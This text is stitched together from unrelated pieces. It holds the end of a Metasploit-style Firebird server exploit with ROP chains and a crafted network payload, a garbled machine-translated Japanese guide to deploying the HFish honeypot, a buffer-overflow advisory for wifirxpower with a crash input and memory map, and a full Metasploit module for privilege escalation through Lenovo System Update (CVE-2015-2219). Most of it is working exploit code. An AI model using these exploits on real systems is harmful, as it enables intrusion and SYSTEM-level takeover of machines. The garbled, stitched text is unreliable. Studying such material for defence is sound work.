when 'Windows FB 2.5.1.26351'
rop_chain = [
0x00656472, # POP ECX # RETN [fbserver.exe]
0x0065b16c, # ptr to &VirtualAlloc() [IAT fbserver.exe]
0x00410940, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
0x0063be76, # XCHG EAX,ESI # RETN [fbserver.exe]
0x0041d1ae, # POP EBP # RETN [fbserver.exe]
0x0040917f, # & call esp [fbserver.exe]
0x4a8589c0, # POP EBX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> ebx
0x4a864cc3, # POP EDX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> edx
0x0064ef59, # POP ECX # RETN [fbserver.exe]
0x00000040, # 0x00000040-> ecx
0x005979fa, # POP EDI # RETN [fbserver.exe]
0x00424a50, # RETN (ROP NOP) [fbserver.exe]
0x4a86052d, # POP EAX # RETN [icuuc30.dll]
0x90909090, # nop
0x005835f2, # PUSHAD # RETN [fbserver.exe]
].pack("V*")
when 'Windows FB 2.1.5.18496'
rop_chain = [
0x005763d5, # POP EAX # RETN [fbserver.exe]
0x005ce120, # ptr to &VirtualAlloc() [IAT fbserver.exe]
0x004865a4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [fbserver.exe]
0x004cf4f6, # XCHG EAX,ESI # RETN [fbserver.exe]
0x004e695a, # POP EBP # RETN [fbserver.exe]
0x004d9e6d, # & jmp esp [fbserver.exe]
0x4a828650, # POP EBX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> ebx
0x4a85bfee, # POP EDX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> edx
0x00590328, # POP ECX # RETN [fbserver.exe]
0x00000040, # 0x00000040-> ecx
0x4a8573a1, # POP EDI # RETN [icuuc30.dll]
0x0042ba8c, # RETN (ROP NOP) [fbserver.exe]
0x00577605, # POP EAX # RETN [fbserver.exe]
0x90909090, # nop
0x004530ce, # PUSHAD # RETN [fbserver.exe]
].pack("V*")
when 'Windows FB 2.1.4.18393'
rop_chain = [
0x4a843429, # POP ECX # RETN [icuuc30.dll]
0x005ca120, # ptr to &VirtualAlloc() [IAT fbserver.exe]
0x0055a870, # MOV EAX,DWORD PTR DS:[ECX] # RETN [fbserver.exe]
0x004cecf6, # XCHG EAX,ESI # RETN [fbserver.exe]
0x004279c0, # POP EBP # RETN [fbserver.exe]
0x0040747d, # & call esp [fbserver.exe]
0x004ebef1, # POP EBX # RETN [fbserver.exe]
0x00001000, # 0x00001000-> ebx
0x4a864c5e, # POP EDX # RETN [icuuc30.dll]
0x00001000, # 0x00001000-> edx
0x004eaa3b, # POP ECX # RETN [fbserver.exe]
0x00000040, # 0x00000040-> ecx
0x4a8330a2, # POP EDI # RETN [icuuc30.dll]
0x00423b82, # RETN (ROP NOP) [fbserver.exe]
0x0046b5b1, # POP EAX # RETN [fbserver.exe]
0x90909090, # nop
0x004c8cfc, # PUSHAD # RETN [fbserver.exe]
].pack("V*")
when 'Debug'
rop_chain = [ ].fill(0x41414141, 0..17).pack("V*")
end
return rop_chain
end
def exploit
connect
rop_nop_sled = [ ].fill(target['rop_nop'], 0..16).pack("V*")
# this data gets written to the stack via memcpy, no more than 32 bytes can be written
overwrite_and_rop_chain = [ target['rop_pop'] ].pack("V") # POP to skip the 4 bytes of the original pivot
overwrite_and_rop_chain << [ (target['pivot'] - 8) ].pack("V") # MOV EDX,DWORD PTR DS:[EAX+8]
overwrite_and_rop_chain << stack_pivot_rop_chain
filename = "C:\\#{rand_text_alpha(13)}.fdb"
evil_data = "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00\x00\x24"
evil_data << "\x00\x00\x00\x14"
evil_data << filename
evil_data << "\x00\x00\x00\x04\x00\x00\x00\x24"
evil_data << "\x05\x20"
evil_data << overwrite_and_rop_chain
evil_data << "\x15\x6c\x6f\x63\x61\x6c"
evil_data << "\x68\x6f\x73\x74\x2e\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e"
evil_data << "\x06\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02"
evil_data << "\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x0a\x00\x00\x00\x01"
evil_data << "\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x04\xff\xff\x80\x0b"
evil_data << "\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x06"
evil_data << "\x41\x41\x41\x41\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x05"
evil_data << "\x00\x00\x00\x08\x00\x41\x41\x41"
evil_data << rop_nop_sled
evil_data << final_rop_chain
evil_data << payload.encoded
print_status("#{rhost}:#{rport} - Sending Connection Request For #{filename}")
sock.put(evil_data)
disconnect
end
end
1。序文
HFishは、Golangに基づいて開発されたクロスプラットフォームの多機能攻撃ハニーポットフィッシングプラットフォームフレームワークシステムです。エンタープライズセキュリティ保護テストのために慎重に作成されています。リリースバージョンのダウンロードリンク:https://github.com/hacklcx/hfish/releases github: 3https://github.com/hacklcs/hfish多機能は、HTTP(s)のフィッシングをサポートするだけでなく、SSH、sftp、mysql、ftp、telnet、ftp、telnet、sftp、telnet、sftp、telnet、sftp、telnet、sftp、sftp、sftp、sftp、sftp、sftp、sftp、telnet、 APIインターフェイスが提供され、ユーザーはフィッシングモジュール(Web、PC、アプリ)の利便性を自由に拡大できます。 Golang Developmentを使用して、ユーザーはWin + Mac + Linuxを使用できます。フィッシングプラットフォームのセットを
2。クラスター構造
にすばやく展開できます。1。環境説明:Client01:66.42.68.123(クライアント1)CLINET0233601444.202.85.37(クライアント1)Server33:4.156.253.44 root@server:~#wgethttps://github.com/hacklcx/hfish/releases/download/0.6.4/hfish-0.6.4-linux-amd64.tar.gz ROOT@server:〜#VI Config.ini#ステータスを1に変更する必要があります。バックグラウンドパスワードは複雑なパスワードに変更されます。 DB_STRデータベースの生産環境は、MySQLリモート接続を使用することをお勧めします。ここでは、SQLiteデータベースをテストします。 APIクエリと報告された認証キーは、独自のAPIキーに変更できます。
hfishconfig.iniweblibs(WebディレクトリはWebハニーポットを起動せずに削除できます)のみを保持し、他のすべてを削除することができますroot@client01:〜#wget https://github.com/hacklcx/hfish/releases/download/0.6.4/hfish-0.6.4-linux-amd64.tar.gz
その後、コマンドを実行してサーバーサービスを開始します。クライアントサービス1 root@client01:〜#tar zxvf hfish-0.6.4-linux-amd64.tar.gz
を保持するhfishconfig.iniweblibsのみを保持します(Webハニーポットを起動せずにWebディレクトリを削除できます)。
root@client01:〜#rm -rf admin/db/images/static/5root@client01:〜#vi config.ini#ステータスは2に変更する必要があり、Addrアドレスとポートをサーバー側
およびcustomer2を開始するIPおよびポートに変更する必要があります。カスタマーサービスサイド2インストールおよび構成ルート@client02:〜#rm -rf admin/db/db/static/
root@client02:〜#vi config.ini#ステータスは2に変更する必要があります。 service./hfishrun3。インターフェイスディスプレイ:
4。監視スクリプト/opt/monitor.sh:#!/bin/bash procnum=`ps -ef | grep 'hfish' | grep -v grep | wc -l`if [$ procnum -eq 0];次に、cd/root/hfish nohup ./hfish run output.log 21 fi
crontab -e */1 * * * * * sh /opt/monitor.sh#write content、1分で1回実行する
:wq! #保存して終了します。サーバーがCrontab Service 5を起動するかどうかを確認してください。ブラックリストIPクエリhttp://104.156.253.44:9001/api/v1/get/ip?key=x85e265d965b1929148d0f0e333133
6。すべてのアカウントパスワード情報を取得http://104.156.253.44:9001/api/v1/get/passwd_list?key=x85e2ba265d965b1929148d0f0e33133
157。すべてのフィッシング情報を取得3http://104.156.253.44:9001/api/v1/get/fish_info?key=x85e2bba265d965b1929148d0e333133
88d0 Start the dark web honeypot root@server:/opt# apt-get install tor
Modify the configuration vi /etc/tor/torrc file HiddenServiceDir /var/lib/tor/hidden_service/# Add tor web directory HiddenServicePort 80 127.0.0.1:8080 # Map the website 8080 port of the local dark web to theダークWeb
のポート80のポート80を再起動torrootroot@server:#Service Torstart
ダークWebドメイン名CAT/VAR/LIB/TOR/HIDDED_SERVICE/HOSTNAME
ダークウェブウェブハニーポットにアクセスする
TOR公式ウェブサイト: https://www.torproject.orgをダウンロードするTORブラウザのダウンロードシステムの対応するバージョンをインストールしてください。
9.プロキシテスト方法は、端子:HTTP_PROXY=http://127.0.0.1:8081で次のコマンドを実行します。カスタムハニーポットを追加:#config.ini [pot_name] status=1ADDR=0.0.0.0:5901INFO={{addr}}ハニーポットをスキャンする
構成パラメーター:POT_NAMEハニーポット名のステータスHoneypot 1を起動するかどうか0閉じますaddr honeypotサーバーアドレス情報アラームコンテンツ、** {{addr}} **オプションでは、IP11を書いた後に攻撃者に置き換えられます。脅威インテリジェンスにリンク
12.WEBフィッシングWebフィッシング、デフォルトはWordPressテンプレートです。OAまたはExchange Mailbox
13などのテンプレートをカスタマイズおよび変更できます。電子メールアラームメールアラームを設定すると、正しいアカウントとパスワードを設定する必要があります。ここのパスワードは、承認コード
です。
[+] Title: wifirxpower - Local Stack Based Buffer Overflow
[+] Credits / Discovery: Nassim Asrir
[+] Author Email: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/
[+] Author Company: Henceforth
[+] CVE: N/A
Vendor:
===============
https://github.com/cnlohr/wifirxpower
Download:
===========
https://github.com/cnlohr/wifirxpower
Vulnerability Type:
===================
Local Stack Based Buffer Overflow
issue:
===================
'wifirx.c' contain a vulnerable code in the line '111' the developer use the 'strcpy' function and does not check the buffer destination and cause a Stack Oveflow.
Vulnerable Code (102 - 124) wifirx.c:
===================
int GetQuality( const char * interface, int * noise )
{
int sockfd;
struct iw_statistics stats;
struct iwreq req;
memset(&stats, 0, sizeof(stats));
memset(&req, 0, sizeof(struct iwreq));
strcpy( req.ifr_name, interface );
req.u.data.pointer = &stats;
req.u.data.length = sizeof(struct iw_statistics);
#ifdef CLEAR_UPDATED
req.u.data.flags = 1;
#endif
/* Any old socket will do, and a datagram socket is pretty cheap */
if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
if( first ) perror("Could not create simple datagram socket");
first = 0;
//exit(EXIT_FAILURE);
return -1;
}
Exploit:
=========
1 - ./wifirx aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
2 - r $(python -c 'print"A"*41')
Backtrace:
=========
/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x37)[0x7ffff6ec3e37]
/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x0)[0x7ffff6ec3e00]
/home/bugtraq/Desktop/wifirxpower-master/wifirx[0x401aaa]
/home/bugtraq/Desktop/wifirxpower-master/wifirx[0x401d21]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xed)[0x7ffff6ddb7ed]
/home/bugtraq/Desktop/wifirxpower-master/wifirx[0x401449]
Memory Map:
===========
00606000-0062a000 rw-p 00000000 00:00 0 [heap]
7ffff6379000-7ffff638e000 r-xp 00000000 08:01 7606631 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff638e000-7ffff658d000 ---p 00015000 08:01 7606631 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff658d000-7ffff658e000 r--p 00014000 08:01 7606631 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff658e000-7ffff658f000 rw-p 00015000 08:01 7606631 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff658f000-7ffff6594000 r-xp 00000000 08:01 3027725 /usr/lib/x86_64-linux-gnu/libXdmcp.so.6.0.0
7ffff6594000-7ffff6793000 ---p 00005000 08:01 3027725 /usr/lib/x86_64-linux-gnu/libXdmcp.so.6.0.0
7ffff6793000-7ffff6794000 r--p 00004000 08:01 3027725 /usr/lib/x86_64-linux-gnu/libXdmcp.so.6.0.0
7ffff6794000-7ffff6795000 rw-p 00005000 08:01 3027725 /usr/lib/x86_64-linux-gnu/libXdmcp.so.6.0.0
7ffff6795000-7ffff6797000 r-xp 00000000 08:01 3027706 /usr/lib/x86_64-linux-gnu/libXau.so.6.0.0
7ffff6797000-7ffff6996000 ---p 00002000 08:01 3027706 /usr/lib/x86_64-linux-gnu/libXau.so.6.0.0
7ffff6996000-7ffff6997000 r--p 00001000 08:01 3027706 /usr/lib/x86_64-linux-gnu/libXau.so.6.0.0
7ffff6997000-7ffff6998000 rw-p 00002000 08:01 3027706 /usr/lib/x86_64-linux-gnu/libXau.so.6.0.0
7ffff6998000-7ffff699a000 r-xp 00000000 08:01 7602253 /lib/x86_64-linux-gnu/libdl-2.15.so
7ffff699a000-7ffff6b9a000 ---p 00002000 08:01 7602253 /lib/x86_64-linux-gnu/libdl-2.15.so
7ffff6b9a000-7ffff6b9b000 r--p 00002000 08:01 7602253 /lib/x86_64-linux-gnu/libdl-2.15.so
7ffff6b9b000-7ffff6b9c000 rw-p 00003000 08:01 7602253 /lib/x86_64-linux-gnu/libdl-2.15.so
7ffff6b9c000-7ffff6bb9000 r-xp 00000000 08:01 3015326 /usr/lib/x86_64-linux-gnu/libxcb.so.1.1.0
7ffff6bb9000-7ffff6db8000 ---p 0001d000 08:01 3015326 /usr/lib/x86_64-linux-gnu/libxcb.so.1.1.0
7ffff6db8000-7ffff6db9000 r--p 0001c000 08:01 3015326 /usr/lib/x86_64-linux-gnu/libxcb.so.1.1.0
7ffff6db9000-7ffff6dba000 rw-p 0001d000 08:01 3015326 /usr/lib/x86_64-linux-gnu/libxcb.so.1.1.0
7ffff6dba000-7ffff6f6e000 r-xp 00000000 08:01 7606751 /lib/x86_64-linux-gnu/libc-2.15.so
7ffff6f6e000-7ffff716d000 ---p 001b4000 08:01 7606751 /lib/x86_64-linux-gnu/libc-2.15.so
7ffff716d000-7ffff7171000 r--p 001b3000 08:01 7606751 /lib/x86_64-linux-gnu/libc-2.15.so
7ffff7171000-7ffff7173000 rw-p 001b7000 08:01 7606751 /lib/x86_64-linux-gnu/libc-2.15.so
7ffff7173000-7ffff7178000 rw-p 00000000 00:00 0
7ffff7178000-7ffff7188000 r-xp 00000000 08:01 3022902 /usr/lib/x86_64-linux-gnu/libXext.so.6.4.0
7ffff7188000-7ffff7387000 ---p 00010000 08:01 3022902 /usr/lib/x86_64-linux-gnu/libXext.so.6.4.0
7ffff7387000-7ffff7388000 r--p 0000f000 08:01 3022902 /usr/lib/x86_64-linux-gnu/libXext.so.6.4.0
7ffff7388000-7ffff7389000 rw-p 00010000 08:01 3022902 /usr/lib/x86_64-linux-gnu/libXext.so.6.4.0
7ffff7389000-7ffff738b000 r-xp 00000000 08:01 3022982 /usr/lib/x86_64-linux-gnu/libXinerama.so.1.0.0
7ffff738b000-7ffff758a000 ---p 00002000 08:01 3022982 /usr/lib/x86_64-linux-gnu/libXinerama.so.1.0.0
7ffff758a000-7ffff758b000 r--p 00001000 08:01 3022982 /usr/lib/x86_64-linux-gnu/libXinerama.so.1.0.0
7ffff758b000-7ffff758c000 rw-p 00002000 08:01 3022982 /usr/lib/x86_64-linux-gnu/libXinerama.so.1.0.0
7ffff758c000-7ffff75a4000 r-xp 00000000 08:01 7606754 /lib/x86_64-linux-gnu/libpthread-2.15.so
7ffff75a4000-7ffff77a3000 ---p 00018000 08:01 7606754 /lib/x86_64-linux-gnu/libpthread-2.15.so
7ffff77a3000-7ffff77a4000 r--p 00017000 08:01 7606754 /lib/x86_64-linux-gnu/libpthread-2.15.so
7ffff77a4000-7ffff77a5000 rw-p 00018000 08:01 7606754 /lib/x86_64-linux-gnu/libpthread-2.15.so
7ffff77a5000-7ffff77a9000 rw-p 00000000 00:00 0
7ffff77a9000-7ffff78a4000 r-xp 00000000 08:01 7606762 /lib/x86_64-linux-gnu/libm-2.15.so
7ffff78a4000-7ffff7aa3000 ---p 000fb000 08:01 7606762 /lib/x86_64-linux-gnu/libm-2.15.so
7ffff7aa3000-7ffff7aa4000 r--p 000fa000 08:01 7606762 /lib/x86_64-linux-gnu/libm-2.15.so
7ffff7aa4000-7ffff7aa5000 rw-p 000fb000 08:01 7606762 /lib/x86_64-linux-gnu/libm-2.15.so
7ffff7aa5000-7ffff7bd5000 r-xp 00000000 08:01 3015330 /usr/lib/x86_64-linux-gnu/libX11.so.6.3.0
7ffff7bd5000-7ffff7dd5000 ---p 00130000 08:01 3015330 /usr/lib/x86_64-linux-gnu/libX11.so.6.3.0
7ffff7dd5000-7ffff7dd6000 r--p 00130000 08:01 3015330 /usr/lib/x86_64-linux-gnu/libX11.so.6.3.0
7ffff7dd6000-7ffff7dda000 rw-p 00131000 08:01 3015330 /usr/lib/x86_64-linux-gnu/libX11.so.6.3.0
7ffff7dda000-7ffff7dfc000 r-xp 00000000 08:01 7606759 /lib/x86_64-linux-gnu/ld-2.15.so
7ffff7fd5000-7ffff7fdb000 rw-p 00000000 00:00 0
7ffff7ff7000-7ffff7ffb000 rw-p 00000000 00:00 0
7ffff7ffb000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00022000 08:01 7606759 /lib/x86_64-linux-gnu/ld-2.15.so
7ffff7ffd000-7ffff7fff000 rw-p 00023000 08:01 7606759 /lib/x86_64-linux-gnu/ld-2.15.so
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
Tested on:
===============
Linux Ubuntu x86_64
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
Rank = ExcellentRanking
def initialize(info={})
super(update_info(info, {
'Name' => 'Lenovo System Update Privilege Escalation',
'Description' => %q{
The named pipe, \SUPipeServer, can be accessed by normal users to interact with the
System update service. The service provides the possibility to execute arbitrary
commands as SYSTEM if a valid security token is provided. This token can be generated
by calling the GetSystemInfoData function in the DLL tvsutil.dll. Please, note that the
System Update is stopped by default but can be started/stopped calling the Executable
ConfigService.exe.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Michael Milvich', # vulnerability discovery, advisory
'Sofiane Talmat', # vulnerability discovery, advisory
'h0ng10' # Metasploit module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows', { } ]
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'References' =>
[
['OSVDB', '121522'],
['CVE', '2015-2219'],
['URL', 'http://www.ioactive.com/pdfs/Lenovo_System_Update_Multiple_Privilege_Escalations.pdf']
],
'DisclosureDate' => 'Apr 12 2015',
'DefaultTarget' => 0
}))
register_options([
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']),
OptInt.new('Sleep', [true, 'Time to sleep while service starts (seconds)', 4]),
], self.class)
end
def check
os = sysinfo['OS']
unless os =~ /windows/i
return Exploit::CheckCode::Safe
end
svc = service_info('SUService')
if svc && svc[:display] =~ /System Update/
vprint_good("Found service '#{svc[:display]}'")
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def write_named_pipe(pipe, command)
invalid_handle_value = 0xFFFFFFFF
r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
handle = r['return']
if handle == invalid_handle_value
fail_with(Failure::NoTarget, "#{pipe} named pipe not found")
else
vprint_good("Opended #{pipe}! Proceeding...")
end
begin
# First, write the string length as Int32 value
w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)
if w['return'] == false
print_error('The was an error writing to pipe, check permissions')
return false
end
# Then we send the real command
w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)
if w['return'] == false
print_error('The was an error writing to pipe, check permissions')
return false
end
ensure
session.railgun.kernel32.CloseHandle(handle)
end
true
end
def get_security_token(lenovo_directory)
unless client.railgun.get_dll('tvsutil')
client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll")
client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], nil, 'cdecl')
end
dll_response = client.railgun.tvsutil.GetSystemInfoData(256)
dll_response['systeminfo'][0,40]
end
def config_service(lenovo_directory, option)
cmd_exec("#{lenovo_directory}\\ConfigService.exe #{option}")
end
def exploit
if is_system?
fail_with(Failure::NoTarget, 'Session is already elevated')
end
su_directory = service_info('SUService')[:path][1..-16]
print_status('Starting service via ConfigService.exe')
config_service(su_directory, 'start')
print_status('Giving the service some time to start...')
Rex.sleep(datastore['Sleep'])
print_status("Getting security token...")
token = get_security_token(su_directory)
vprint_good("Security token is: #{token}")
if datastore['WritableDir'].nil? || datastore['WritableDir'].empty?
temp_dir = get_env('TEMP')
else
temp_dir = datastore['WritableDir']
end
print_status("Using #{temp_dir} to drop the payload")
begin
cd(temp_dir)
rescue Rex::Post::Meterpreter::RequestError
fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
end
print_status('Writing malicious exe to remote filesystem')
write_path = pwd
exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
begin
write_file(exe_name, generate_payload_exe)
register_file_for_cleanup("#{write_path}\\#{exe_name}")
rescue Rex::Post::Meterpreter::RequestError
fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
end
print_status('Sending Execute command to update service')
begin
write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")
rescue Rex::Post::Meterpreter::RequestError
fail_with(Failure::Unknown, 'Failed to write to pipe')
end
unless write_res
fail_with(Failure::Unknown, 'Failed to write to pipe')
end
print_status('Stopping service via ConfigService.exe')
config_service(su_directory, 'stop')
end
end